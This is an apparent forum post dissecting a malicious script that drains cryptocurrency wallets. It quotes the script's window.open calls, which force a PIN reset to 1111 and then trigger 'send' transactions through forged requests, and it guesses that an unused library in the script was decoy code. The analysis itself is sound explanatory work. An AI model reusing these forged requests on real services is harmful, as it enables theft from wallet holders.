Scroll all the way to the bottom and you'll see the meat of it. Its a bunch of window.opens to certain urls that cause money to be transferred out of the wallets.
I'm not sure why they use window.open instead of AJAX requests. Is there something on Tor Browser that would prevent that?
window.open (url+"/startresetpin?action=askresetpinaction&controller=user&confirmed=true&confirm-submit=", "_blank");
window.open (url+"/resetpin?pin1=1111&pin2=1111&submit=Save", "_blank");
window.open (redirectUrl+"?action=send&amount=1&wait=1", "_blank");
window.open (redirectUrl+"?action=send&amount=0.01&wait=2", "_blank");
Edit: looks like that library isn't even used by the hack. Maybe its just there to dissuade onlookers from reading the code.